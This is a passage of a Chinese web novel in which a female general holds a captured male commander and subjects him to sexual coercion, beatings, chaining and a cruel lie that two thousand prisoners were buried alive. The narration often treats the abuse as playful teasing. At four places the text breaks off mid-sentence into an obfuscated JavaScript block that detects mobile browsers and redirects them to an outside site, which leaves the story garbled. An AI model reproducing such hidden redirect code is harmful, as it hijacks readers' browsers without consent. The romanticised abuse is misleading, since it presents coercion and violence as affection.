好委屈,被坏女人欺负了。 真想杀了她。 但又杀不掉。 嬴芜荼试着站直,但是那里一动就更难耐了,他只能弯着腰,慢慢挪过去,一边哭一边洗漱。 他的脸都哭花了。 他脸上的肌肤并不如男子那么细腻,毕竟在军营里风吹日晒,加上他自己不敢打扮,现在透过水面,他发现自己的眼睛都哭肿了。 都不太好看了。 此时,嬴芜荼捧水的手一顿。 他只能用左手捧水洗脸,因为右手手掌有贯穿伤,右手小指也断了,他就这样捧着水,任由水从指缝里流淌下去。 他突然觉得很奇怪,为什么刚才想自己哭花了脸,变得不好看了? 他男扮女装久了,早就不想容貌等事了。 毕竟只有以色侍人的小男子,才整日将全部心思都放在打扮装点上,那刚才为什么突然这样想? 是因为喝醉时,看到坏女人说的那句话吗? 嬴芜荼望着水面出神,他某种感觉更强烈了。 此时姜守烛回来了,她不过就是去跟妍副将说几句话,在军营里转了一圈,看了看装好的马车,再看一眼早就睡下的嬴国国君,就回来了。 回来时,看到小兔子捧着水在那发愣。 “磨磨蹭蹭,洗个脸都这么慢,我记得你在战场上逃跑时,可是跑得比兔子还快。”姜守烛一边调笑着他,一边换下衣服。 嬴芜荼赶紧几下洗漱好了,他低着头站在那里,一动不动。 “傻站着干什么?暖床去。”姜守烛命令道。 姜守烛虽然不重欲,但她喜欢搂着男人睡觉。 尤其是香香软软的小男人。 她府里就有一个,是异域进贡给陛下的美人,陛下让她去挑一个,她就要了一个顺眼的。 这异域美人自带体香,她在府里住的大多日子,都是叫这位香小君来暖床的。 只是现在出征,不能带男人,所以才自己睡。 如今,这不是有送上门的。 就是……这嬴芜荼浑身上下硬邦邦的,一点都不柔软。 嬴芜荼费了好半天的劲才挪上床,但是问题来了,他脚腕上的铁球还在床下,如果铁球不拿上去,他的腿就不能躺平,他犯了难,看向换好寝服的姜守烛。 姜守烛也意识到了这个问题,她从小兔子的眼神中读懂了他的意思,她明知故问道:“想让我帮你解开?还是拿上去?” 嬴芜荼从她的语气中,感受到几分可以商量的意思,于是他小心试探着说:“可以解开吗?” 他的脚腕都磨破皮了,很疼,刚才洗漱时,不小心沾了水,更疼了。 “那你跑了怎么办?”姜守烛说。 嬴芜荼见果然有戏,赶紧得寸进尺:“我不跑!” 他又不是傻的,现在和坏女人对着干没有好处,能解开锁链当然最好了,而且他能跑到哪里去? 跑到哪里也没有帮手能来帮他复仇,他就留在坏女人身边,找机会杀了她! 姜守烛从腰间摸出一把小钥匙,丢到床上去。 嬴芜荼捡起钥匙,将脚腕上的锁打开了,他如释重负地叹了一口气。 只是又看着脚腕的伤,委屈地抿了抿唇,他小心地抬头看一眼坏女人,见坏女人还没有立刻过来的意思,他便慢慢转过身,从怀里取出纱布。 这是白天在五皇子的药箱里找到的,没用完的就被他带走了,正好现在可以包扎一下脚腕。 姜守烛此时慢慢走过来,她看着小兔子背对着她,忙活来忙活去的。 她也不急,坐在桌前,拿起一本书看,漫不经心道:“忙活完赶紧躺下,等会儿我进去要是不热,就有你好受的。” 嬴芜荼害怕这句话,他打了个哆嗦,赶紧加快动作,将脚腕包扎好,一倒头躺下了。 坏女人的床榻很舒服,被子也暖和,他躺在其中,慢慢闭上眼。 营帐里不静,有翻书的刷刷声,还有细炭静静燃烧的声音。 可是姜守烛已经半天没翻下一页了,细炭燃烧也没有声音。 那剩下的声音,是心跳声。 嬴芜荼的心跳得几乎要撞碎胸腔,他那里被封印,还是好难受,他人是躺下了,可是某处却站起来了。 因为有银簪在其中,怎么都不舒服。 如今又躺在坏女人的床|上,到处都是她的气息。 嬴芜荼都闭上眼睛了,可眼前还是她的面容。 难道是酒意还没醒吗? 坏女人给的汤不是醒酒汤吗? 嬴芜荼的脸愈发红了。 姜守烛也不装了,她一个字都看不下去了,她吹灭了蜡烛,径直往床边走去。 黑暗里,眼前什么都看不见,那听觉就变得更敏锐了。 嬴芜荼听到脚步声逐渐逼近。 他心里奇怪的想法更浓了,整个人也抖得更厉害了。 姜守烛掀开被子的一角,她问:“热了吗?” 嬴芜荼的声音颤|抖着:“火热。” 姜守烛:? 她上去的动作一顿,问热不热直接回答就好了,这回答听起来怎么这么像勾引啊? 姜守烛躺下,将里侧那个人抱在怀里,她无奈道:“虽然不够软,但也凑合着搂吧。” 嬴芜荼不反抗,任由被她抱个满怀。 “你抖什么?冷?”姜守烛根本没有睡意。 “嗯……能不能放过我?”嬴芜荼小声地哀求着。 他的气息喷在姜守烛的颈间,她的眼睛眯了一下。 “你想怎么放过你?”姜守烛动了动脖颈,她不由自主吞咽了一下。 “拿出去好不好……求你了……” 细碎的哀求声响在她的耳畔,姜守烛的心也变热了。 她再次记得,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024346|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从来都不是重欲的人,虽然出来打仗半年,她除了做梦梦到小兔子之外,从来都没想过那事。 但是现在…… “不许再求我,闭嘴!”姜守烛不想直接把小兔子玩死,毕竟他现在遍体鳞伤,还是得等他把伤养养再上。 而他现在声声哀求,姜守烛听得心里一阵火热。 这就是赤|裸裸的勾引! “呜……”嬴芜荼在她的怀里蹭了蹭,他实在难受得不轻,还是忍不住继续求饶,毕竟今晚她都给了好脸色,让他解开脚腕上的锁链了,如果再求一求,万一她答应了呢,于是他大着胆子继续得寸进尺:“求你了……” 姜守烛忍不了了,她一把将被子掀开了。 嬴芜荼的哀求声戛然而止,他被吓了一跳。 “勾引我是吧!那就让你得偿所愿!”姜守烛三下两下就将嬴芜荼的外衫剥了。 “救命——非礼啊!”嬴芜荼下意识地大叫起来。 这可是军营!外面全是跟着打仗半年的女人们,各个如狼似虎,姜守烛不想让手下们听到这声音。 “不许叫出声!” 姜守烛用手去捂他的嘴。 嬴芜荼被吓坏了,他脑子一片空白,当被捂住嘴的那一刻,他想都没想,一口咬了下去。 “嘶……” 姜守烛收回手。 即使营帐里没有光,她也一样知道手掌虎口被咬坏了,因为流血了。 姜守烛抬手就扇了嬴芜荼一个巴掌。 清脆的一声,在营帐里来回回响。 嬴芜荼自己咬完人,自己都吓到了,又立刻被扇了一巴掌,他被打得脑袋都晕晕的。 “来人!”姜守烛从他身上下来,朝着门口唤道。 妍副将提着刀进来,她刚才在门口就听到里面的声音了,不过这声“救命”不是将军喊的,所以她没有立刻进去。 “把他拖下去关起来。”说完,姜守烛一脚将人从床上踹下去了。 嬴芜荼还没从刚才那个巴掌中清醒过来,整个人就骨碌骨碌从床上滚地上去了。 还好地毯厚实,他摔一下也没受多余的伤,但他身上原本就有伤,加之摔下来时又碰到了那里,他又呻吟一声。 姜守烛听到他又娇喘,她更生气了,怒道:“刚才故意勾引我,碰你却又咬人,是我给你好脸色太多了!带下去!” 她将衣裳也丢下去。 那外衫劈头盖脸砸在嬴芜荼的头上,他被蒙住了。 他人也懵了。 他没有勾引,他不是故意反抗的,是刚才太突然了,也太害怕了,他一点心理准备都没有。 这下肯定惹怒坏女人了! 可是还不等他求饶,就被手脚麻利的妍副将拖出去了。 等人都被拖出门外了,姜守烛又吩咐一句:“单独关押!” 嬴芜荼的脸上火辣辣的疼,坏女人手劲那么大,一巴掌打得他半边脸都肿起来了。 他被一路拖到囚车里,囚车是铁栏杆围起来的,四面漏着风,现在又下着大雪。 他的外衫被扒了,现在只穿着单薄的里衣,他缩在囚车的角落,抱着自己。 好冷,也好疼。 他来不及思考自己的处境了,他担心自己惹恼了坏女人,坏女人会大开杀戒。 可他现在都被丢出来了,他又悔又急,却连求饶的机会都没有了。 今夜的雪越下越大了。 15.活埋 嬴芜荼这身衣服本就单薄,又被剥了一层,现在只着单薄里衣,那就更冷了。 还有纷纷扬扬的雪花落在头上身上,他伸手摸了摸右脸颊。 又肿又烫。 他来不及思考自己的处境,他只担心坏女人会大开杀戒。 他一抹眼泪,顾不上脸上的疼,双手握住冰冷的铁栏杆朝着站岗的士兵大喊:“来人!我要见姜守烛!” 不就是被睡吗! 他不反抗了,只求坏女人消消气。 可是站岗的士兵对嬴芜荼的呼喊声置若罔闻。 嬴芜荼喊了半天,喊得声音逐渐小了下去,他都喊得没力气了。 却还是喊不来她。 甚至……手还粘在铁栏杆上了,他费了最后一点力气将手撕下来,缩回四面漏风的囚车角落,用发红的掌心合十,对着漫天大雪许愿——许愿坏女人开恩,不要杀人。 只要坏女人不杀人,他什么都愿意做。 —— 姜守烛睡不着。 她怪自己怎么就把持不住。 不是说好等他的伤好一点再享用的吗? 刚才怎么就骑上去了? 还一时恼怒把人踹下床了。 给不听话的小兔子一点教训也没什么问题,但她现在又忍不住担忧,小兔子受了那么多伤,本就身子弱,又被她打了,还下令关在外面,一晚上不会冻死吧? 姜守烛披上大氅,等她的手准备掀开帘子时,她又退回来了。 关心他干什么? 她低头看着自己简单包扎的手,虎口被咬出了四个小洞,倒是不算深,包扎后也不流血了。 但她最后还是出去了。 只是因为小兔子是自己的战利品,不能就这么轻易死了,去看一眼就回来。 没有什么别的原因。 姜守烛走到了战俘营附近,她看到小兔子被单独关押在囚车里,缩成一团。 看起来还活着。 他还真是坚强得很呢。 姜守烛的脚步在原地转了一圈,她没有靠近囚车,而是转身回自己的营帐了。 临走之前,她还对站岗的士兵交代道:“看着点,他要是晕倒了,就去报我。” 姜守烛拍了拍身上的雪花,从冰天雪地回到自己暖和的大帐,她躺回床上,发现被窝还是热乎的。 这还是小兔子给她暖的床。 姜守烛翻了个身,还从来都没有男子拒绝过她。 家里哪个男子不是求着往她的床上爬? 尽管今晚是冲动了,但她的心里,却生起了更多的征服欲望。 鹅毛大雪就这样纷纷扬扬地下了一整夜。 等姜守烛起床时,营帐门口的雪都积了厚厚的一层,妍副将走过来时,还深一脚浅一脚的。 “将军,京城来的飞鸽传书。”妍副将将一个小信筒递过来。 姜守烛穿好了衣服,打开信纸一看,点了点头,将信纸再递给妍副将,道:“就按陛下说的办吧。” 还有半个时辰,大军就要开拔回京了。 姜守烛吃过早饭,走出营帐时,士兵们已经在拆营帐装马车了。 她面无表情地走到战俘营,直奔着关押嬴芜荼的囚车而去。 嬴芜荼冻了一晚上,起了高热,脸颊脖颈全都通红,不过他右脸上那个巴掌印是紫色的。 毕竟姜守烛的手劲实在是太大了。 雪也一样大。 姜守烛每走一步,她的鹿皮靴都会深陷其中,踩在雪地里,再发出咯吱咯吱的声音,等她走到囚车前,看到小兔子缩成一团,积雪都压在他的身上,看来他后半夜都保持着这个姿势。 “醒醒。”姜守烛敲了敲栏杆,语气不咸不淡道。 “嗯……”嬴芜荼头晕得厉害,他知道自己病了,但他顾不上自己,他听到熟悉的坏女人声音,立刻抬起头,一下挪到铁栏杆前,他伸出手去抓她的袖子,生怕她转身走了。 姜守烛却后退一步,让他的手抓了个空。 她注意到,小兔子的手掌心怎么流血了? 他做什么了? “求求你!我知道错了,我真的错了,我再也不敢反抗了,你想对我做什么都行,别迁怒她人好吗!我现在就可以,就在这里……” 说着,嬴芜荼手忙脚乱地脱衣服,表示自己的衷心,试图挽回昨夜。 “怎么突然这么乖啊?又不是昨夜不听话的时候了?”姜守烛看出他生病了,他说话时气若游丝,又急得不行,连脱衣服的动作都像是抬不起来手,感觉命都去了半条,看来一会儿得让军医给他弄点药吃,别真的死了。 “我再也不敢不听你的话了。”嬴芜荼还时不时打一下哆嗦,实在太难受了,他感觉自己随时都会晕过去了。 “可惜啊……”姜守烛勾唇一笑,故意坏笑道:“晚了,我已经下令,活埋了两千人,这就是你昨晚不听话还敢咬伤我的惩罚。” 嬴芜荼上衣都脱完了,他的手刚勾住裤子边,还不等脱下,就听到了天大的噩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033437|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耗。 “什、什么?”他试图挽回,试图当自己听错了。 “你没听错,就是那样,至于你,我现在可没兴趣,你愿意脱就脱吧。” 姜守烛怎么会没兴趣呢,小兔子越是这样,她就越是有兴趣,可惜现在小兔子都病了,这下不光得等他养伤,还得给他治病。 尤其是小兔子右脸上那个发紫的巴掌印。 姜守烛不禁将手往袖子里缩了缩,昨晚气急之下,怎么能下这么重的手? 虽然是小兔子咬人在先,但那点反抗,简直无足轻重,倒是自己,再下这么重的手,真怕把人打死了。 “啊!你这个暴虐的坏女人!我要杀了你!”嬴芜荼握紧了拳猛砸囚车栏杆,可他的手本就伤痕累累,还断了一指,他就算砸囚车又能如何呢? 这边囚车砰砰作响,许多人纷纷侧目,唯有姜守烛的脸上还挂着笑意。 逗弄小兔子太有趣了。 嬴芜荼砸了没几下,骂了没几句,两眼一翻就晕过去了。 姜守烛脸上的笑意没了,她立刻唤人:“传军医!” 妍副将早就叫军医过来候着了,就等将军玩脱后让军医立刻上场。 囚车的牢门打开,军医进去看病,很快出来道:“这位是害了风寒,刚才又急火攻心,这才一时晕厥,将军,还治吗?” “当然治,用最好的药。”姜守烛吩咐道。 军医正好赶在大军开拔之前熬好了药,她端着药碗来到囚车前,却发现囚车里的俘虏不见了,她左右找了找,发现将军的马车也在这里,此时正好见到将军从马车里出来,便用求问的眼神看向将军。 姜守烛伸出手,拿起药碗,又上了马车。 嬴芜荼此时就在她的车上躺着。 毕竟她的马车暖和,再让小兔子待在四面漏风的囚车里,不等药熬好,怕是人就冻死了。 姜守烛捏开嬴芜荼的嘴,粗暴地将药汁灌下去。 嬴芜荼被灌完药,继续躺在马车里,昏迷不醒。 此时,妍副将在马车外喊道:“将军,全都整装好了。” “出发!” 大军回京只有五万士兵,还有另外五万士兵驻扎在漠北,这是陛下今早飞鸽传书下的命令,所以姜守烛也就留下两千的嬴国俘虏,与披甲人为奴,就不一路带回京城了。 但她偏偏就要骗嬴芜荼,说这两千人都被活埋了。 她就想看他呲牙,看他发怒。 毕竟逗小兔子,真是太有趣了。 16.怜悯 马车摇晃着。 晃得桌上茶碗里的茶水来回晃悠,晃得姜守烛手里的书也看不进去。 看不进去书不怪马车摇晃。 是因为姜守烛拿着书只是为了装模作样,她在看马车里的另一个人。 嬴芜荼躺在马车里,他的身上还盖着一条被子,双眼紧闭,但身子还在微微发抖。 刚才姜守烛叫军医上来看了一次,说他发抖是因为身上的伤,加之高热还没退下,还有就是惊吓。 马车行进到下午,风雪渐渐小了些。 嬴芜荼慢慢睁开眼睛,他看到马车的棚顶,看到华贵的内饰,再下移视线,看到马车的窗棂,再看到窗棂旁帘子流苏一晃一晃,他再将视线下移,看到自己身上盖着厚实的锦被…… 这是那个坏女人的被子! 他认识! “醒了?”姜守烛终于放下这本一页没翻过的书,喝了口茶,将清香的茶水在舌尖滚了个遍,这才咽下。 嬴芜荼骤然想起什么,他咳嗽一声,喘息着问:“这是去哪……她们……你真的……” “别乱动。”姜守烛见他还挣扎着要爬起来,这小兔子还真是坚强得很,都病成这样了还能动,这次他能捡回一条命都算命大,她都决心以后不能再那么欺负他了,再玩过火真的就玩死了。 “求求你放过她们,我真的知道错了,我没想反抗你的,是发生得太突然了,现在就可以,我保证再也不敢咬人了,求你……” 嬴芜荼一个骨碌,从榻上掉下来,整个人摔在马车地板上,可他的上半身还是没穿衣服,骤然离开被子的温暖,冻得他打了一个哆嗦,他毫不在意,费力地直起腰,膝行两步来到她的面前,用带着淤青的手臂抱住她的大腿,他还想继续哀求,但话还没继续说,就止不住地咳嗽起来。 他咳得惊天动地,怕是要将马车咳散架了。 不过姜守烛的马车是特制的,用投石车都砸不烂。 “这么乖呀?”姜守烛低头看着跪在地上,还抱着自己的大腿的人,她的腿还能感受到柔软,因为小兔子在用上半身蹭她,她笑着警告道:“要是把你的伤口蹭开,再把血蹭到我身上,你说会发生什么?” “不……不蹭了……求你……放过她们……” 现在外面天色还没黑,嬴芜荼昏迷到现在,都不知道现在已经是下午,马车已经走出很远了。 “放过?可是她们已经被活埋了,怎么?你想下去挖人吗?” 嬴芜荼一听,骤然松开抱住她大腿的手,作势就要跳马车,真的下去挖人。 可是他刚打开马车的门,还不等跳下去,他的脚腕就被攥住了。 他呼痛了一声,因为他的脚腕也有伤,是被铁链子磨破的。 “找死!你还真敢跳马车?马车已经走出五十里路,就凭你这双腿走回去挖人,人也早就死了,嬴芜荼,这是你不听话的代价,她们都是因为你而死的,若是你肯乖乖听话,她们就不会死,所以这一切全都怪你,记住了吗?” 姜守烛将人拽回来,拿出两截铁链,轻松两下就将嬴芜荼的手腕脚腕重新锁上,还全都铐在了马车上。 这下,嬴芜荼的活动范围更小了。 他还呆坐在地板上,像是一只没有灵魂的傀儡,任由姜守烛随便摆弄着。 “傻了?傻了也先穿上衣服,再冻晕了,我就把你扔下去。”姜守烛拿出从五皇子那里又要来的衣服,直接丢到嬴芜荼的脑袋上。 这身衣服比之前那身厚实一点。 毕竟嬴芜荼病了嘛。 “你真的……把她们……都杀了?”嬴芜荼的声音低沉,他一字一字呢喃着,连声音都在抖。 “也没都杀,还留了一千人,用来要挟你。”姜守烛用脚尖点了点他,问:“你到底穿不穿上?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043473|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿……”嬴芜荼的眼神空洞,他还坐在马车地板上,他用发红的手拿起衣服,又低头看着自己手腕上的锁链,这锁链更短了,两只手腕之间只有三寸距离,他几乎没有活动的余地,他又抬起头,看向姜守烛,求道:“能不能先解开?我穿不上袖子。” 姜守烛从袖口摸出小钥匙,她的眼神对上那双绝望的眸子,她不愿承认地是,自己动容了一瞬,这小兔子怎么被磋磨得这么可怜了? 但这都是他自找的不是吗? 所以那份怜悯,转瞬即逝了。 嬴芜荼捡起落在地板上的小钥匙,将手腕的锁链打开,但下一刻,他没有去穿衣服,而是举起钥匙的尖端往她的眼睛刺去。 姜守烛的马车很大,但是摆了一张软塌,那余下的空间就很少了,面对突然袭击,此时嬴芜荼都没能来得及站起,而姜守烛抬腿就是一脚踹下去,正好踹中嬴芜荼的小腹。 嬴芜荼疼得闷哼一声,小钥匙掉回地板上,发出清脆的一声,而他顿时倒在地板上,捂着小腹缩成一团不断发抖,他疼得都动不了了。 姜守烛一弯腰捡起小钥匙,无奈地叹了口气:“本打算不再打你来着,但你真是自讨苦吃,明明不是我的对手,却非要张牙舞爪,被打了就舒服了?” 嬴芜荼疼得直哼哼。 姜守烛就这么听着他哼哼,哼着哼着,还听到了骂骂咧咧。 “我一定要杀了你……杀了你……好疼……啊……” “继续骂,我给你数着,每骂我一句,我就再埋一个,反正还剩一千人,估计你骂到明天也埋不完。”说着,姜守烛还故意拿出一个小本本和一支笔,装模作样在写字,但她的笔尖都没蘸墨,就是单纯为了逗小兔子玩而已。 嬴芜荼的骂骂咧咧突然止了,因为他突然吐了一大口血。 姜守烛一惊。 杀他爹的!小兔子该不会被活活气死了吧! 17.她抬手就打 军医过来看了,嬴芜荼这是被一脚踹伤了胃,胃里出血才呕血的。 姜守烛这才放心,只要嬴芜荼没死就行。 马车一直行进到天黑,被灌过药的嬴芜荼还没醒过来。 而夜里的风雪太大了,所以姜守烛下令今夜原地休整,等天亮再继续行进。 姜守烛的马车里有软榻,所以她不用为了度过今晚再支营帐,她就睡在马车里。 快到子时了,姜守烛虽然还是没有睡意,但坐了一天的马车也不免劳累,她打算躺下。 眼下嬴芜荼占了一半的软榻,她将人抱起来往里面推了推,然后自己也躺上去了,她心里还想着小兔子怎么轻飘飘的,明明看起来比一般男子高多了。 这一躺上去,发现软榻还是太小了,她为了自己不掉下去,将还在昏迷的嬴芜荼搂在了怀里。 这一搂,嬴芜荼正好醒了。 “咳咳……”虚弱的声音响起,嬴芜荼一边咳一边呼痛,还试图从她的怀抱里挣扎出来。 姜守烛又坐起来了。 “又闹什么?再闹就把你丢下车。”姜守烛开口就是威胁,但转念一想,小兔子都被磋磨得这么可怜了,刚才还被踹得胃出血,再吓唬他,万一吓坏怎么办? 这可是她还没玩上手的新玩具,她是真的不想小兔子死。 “卑鄙……”嬴芜荼连坐都坐不起来,但是眼泪还顺着眼角往下流淌。 “我卑鄙?是你又异想天开要刺杀我,要不然我会踹你吗?你被踹吐血完全是咎由自取,要不是我让军医给你用药,你早就吐血身亡了,真是狼心狗肺。”姜守烛道。 “下流……”嬴芜荼继续骂道。 姜守烛一下没听懂,再琢磨一下就懂了,她无奈道:“这马车是我的,这软榻也是我的,我不上去睡觉去哪睡觉?我没把你关外面就不错了。” “无耻……”嬴芜荼还骂起个没完了。 姜守烛沉默了一瞬,她的脸色变冷了,“我是不是给你好脸色太多了?是不是还想挨打?” 嬴芜荼嘴上不再骂了,但是眼泪还没停下。 他慢慢缩起身体,抱着双膝,一副被糟蹋的模样。 姜守烛看不懂他这又是哪一出戏,但好像看懂了些,下了结论:“果然还是不能给你好脸色。” 一说要打他,他就不呲牙了。 所以还是打得轻了。 训狗就得是这样。 嬴芜荼的语气更低了些,他像是悬崖边上绝望的人,随时准备跳崖自杀。 “现在你得到我了,可不可以放她们一条生路,我知道你不会放她们自由,但至少别杀她们行吗?她们都不想死,随我投降的都是想留一条命的……”嬴芜荼像是在讲条件,他说的是真的,因为当时也有不愿投降苟活的,这些人在被围困前就自尽了。 姜守烛原本就没打算杀掉俘虏,不知道他这话从何说起,而更奇怪的是…… “什么叫得到你了?”姜守烛在马车里坐了一天,除了看书、吃饭、喝茶,还有就是打了他,其她的可什么都没做。 “那我那里为什么好疼,一定是你趁我昏迷,强要了我,现在满意了吗?可不可以不要再杀人了……”嬴芜荼说完就更委屈了,好似被坏女人糟蹋惨了。 姜守烛一脸无语,她留着小兔子就是准备享用的,但不是现在,更不是一身是伤又高热加吐血的现在,她虽然心狠手辣,战场上杀人无数,也虽然在床|事上粗|暴,但她从来都不是变态好吗! “你是不是傻子?你自己摸摸不就知道了……”姜守烛停顿一下,突然笑道:“原来你还真是处男啊?看起来还真是一点经验都没有?” 嬴芜荼不理解坏女人为什么骗自己。 他都沦落到这种任人宰割的地步,沦落到被坏女人随意折磨的境地,坏女人做了就是做了,为什么不承认? 他的手往下摸去,摸到了那根银簪。 他骤然想起,对了,昨夜被坏女人放的,还没拿出来。 所以……疼痛是这个原因吗? 所以他还没有失身吗? “这回明白了?但我觉得,你怎么像是在装单纯啊,你自己有什么还能忘?小处男,你到底是有多么等不及向我献身,才故意说这样的话勾引我?”说着,姜守烛看向右手虎口处的小伤口,是嬴芜荼昨夜咬出的牙印,继续道:“你还真是欲擒故纵,一边勾引我,又一边拒绝我,一边呲牙咬人,又一边示弱求饶,你是不是故意做这些,想要引起我的注意啊?” 嬴芜荼咬紧了本就有伤的下唇,他更羞愧了,完全不敢说话,还将脑袋往被子里缩了缩,不敢看她。 姜守烛见他往被子里钻,她一把拽下被子,笑道:“你想躲到哪里去?刚才你是不是跟我讲条件来着?你不会以为,服侍我满意了,我就会开恩吧?你记住,你没有资格跟我讲条件,而且……你这副半死不活的模样,我都担心做到一半你就咽气了,你有什么自信保证一定会让我满意?” 嬴芜荼上半身还没穿衣服,他的被子被抢走了,他用双手捂住前胸的关键位置,不肯吭声。 “又装哑巴。”姜守烛故意抬起手,还高高扬起,作势一副要打人的模样…… 嬴芜荼被吓得缩成更小一团,可他的体型比一般男子要高大一点,再加上他只能待在马车里,缩又能缩到哪里去。 “害怕了?”姜守烛的手没有落下来,她的手还高高举着。 嬴芜荼不敢吭声,他刚才被吓得闭上眼,等了半天也没有被打,他小心地睁开一只眼偷偷去看,看到她脸上带着笑意。 “不想再被打就得乖乖听话。”姜守烛放下了手,她本就没打算再打他。 要知道,现在小兔子的高热还没好,又被她踹得胃出血,身上大伤小伤无数,再打下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050401|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,怕是真的要打死了。 “既然听话,就先把衣服穿上。”姜守烛眼神示意了一下丢在地板上的上衣。 主要是她心里火热,再看着小兔子雪白的前胸上还刻着她的字,再看着小兔子每次害怕时,喉结上下一滚一滚,再看着小兔子缩成一团时,漏出紧实的腰线,这些场面,都想让她立刻将小兔子就地正法,但现在强上,小兔子就该被玩死了。 她心心念念惦记了半年的玩具,不想一次就玩死,就算没死,她也不想第一次就玩得不尽兴。 反正人是她的战利品,永远都逃不出她的手掌心,来日方长,她可以留着,慢慢品尝。 嬴芜荼费了半天劲才撑着软弱无力的身子爬起来,他人还在软榻上,便伸长了手臂去够地板上的衣服…… 够不到。 他的指|尖抓抓抓……就差一点点了…… “你是在勾引我吗?” 姜守烛久经“沙场”,怎么会看不懂这暗示,家里那个乖小君,就爱在她的身上用指|尖一下一下画圈圈,连吃饭时都不老实,所以小兔子这不是在做一样的事吗? 嬴芜荼冤枉死了,他哪有勾引坏女人,他不是在乖乖听话,去拿地上的衣服吗? 只是够不到,还在努力。 姜守烛喝了一口茶,茶都有些凉了,她用鞋尖挑起地板上的衣服,一下甩到嬴芜荼的手上,厉声警告道:“烧货,老实点!” 嬴芜荼被骂了也不敢吭声,他终于拿到他的上衣了,他慢慢坐起来,一点一点穿上…… 但是他身体还在发热,胃里也疼得厉害,连坐着时都在四下摇晃,再随着胸膛的起起伏伏,整个人晃得更夸张了,连系衣带的手都抖个不停。 姜守烛喝茶的动作停在半空中,她看到小兔子一双水润的眸子迷离失神,脸颊因为高热泛起红晕,再加上因为疼痛而不断加大的喘息,甚至还有细碎的呻吟呼痛从红润的唇边漏出…… 再加上他半脱不穿的衣服,若隐若现的肌肤…… 姜守烛将茶杯重重往桌上一拍,拍得杯盖差点掉下去,她恼怒道:“是不是以为我当真舍不得玩死你?” 嬴芜荼在乖乖穿衣服,只是因为身上又伤又病,穿得异常艰难,他还没等穿好,见到她又生气了。 他一头雾水,不知道这个坏女人又怎么了? 这不是很听话了吗? 还要他怎么样啊! 他委屈得哭了。 “还敢哭?越说越来劲是吧!” 姜守烛一下将冷茶都泼到他的脸上。 嬴芜荼骤然被浇了水,额前鬓发全湿了,滴答滴答顺着发尖往下滴水,水滴再顺着脖颈、锁骨……再往下流淌。 正好流淌到他胸前的伤口里,他呜咽一声,顾不上还没穿好的衣服,呼痛呻|吟着:“好凉……好疼……” 姜守烛的心里更烦了! 18.她大发善心 “起来!敢把我的床榻弄湿?是不是还想挨打?” 嬴芜荼疼得都在呻|吟了,但一点都得不到她的怜惜,毕竟这些疼本就都是拜她所赐。 他慢吞吞爬起来,用哆哆嗦嗦的手拿起还没穿好的上衣,去擦拭枕头上那一点水渍。 他疼得都自顾不暇了,而且水也擦不干。 姜守烛本就心里有火,再看他磨磨蹭蹭的,她又想打人了,但是小兔子这副摸样,再打真的就活不到天亮了。 “没用的废物!别擦了!”姜守烛看着心烦,她一伸手拿过嬴芜荼身上那半穿不穿的衣服,三下两下就给他套上了,再拿起锁手腕的锁链,咔嚓两声全给锁好了,再将人往地上一推。 嬴芜荼就从软榻摔到马车地板上,他又摔得呜咽一声。 “废物!”姜守烛合衣躺在了软榻上,她又侧过身,看着在地板上缩成的那个小团,警告道:“不许再呻|吟了!” 嬴芜荼不是故意发出声音的,但他身上疼得厉害,于是他将手腕咬在嘴里,紧紧咬住,这样就不会叫出声了。 借着马车里的烛光,姜守烛看到他紧闭着双眼,但睫毛还在微微颤抖,他狠狠咬住手腕,像是在忍受巨大的折磨,明明很想张嘴喊叫,但却不敢,因此压抑着最原始的冲动。 姜守烛翻了个身,背对着他,不去看了。 现在又不能吃到,看着心里只觉得火热。 眼不见心不烦。 即使姜守烛不去看,但一闭上眼,眼前仿佛还有画面。 这个妖精! 姜守烛心里骂道。 嬴芜荼之前被灌了药,高热逐渐退下,胃里的疼痛也慢慢适应了,他背后靠着马车的矮凳,他数了数身上新增的伤,掰手指掐算自己还能活多久。 他看着坏女人的背影,好恨她! 她真是太坏了! 